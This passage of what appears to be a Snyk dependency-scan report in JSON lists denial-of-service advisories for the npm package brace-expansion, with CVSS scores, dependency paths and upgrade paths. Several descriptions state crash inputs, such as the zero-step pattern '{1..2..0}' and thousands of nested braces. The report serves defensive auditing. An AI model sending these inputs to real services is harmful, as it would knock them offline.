avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
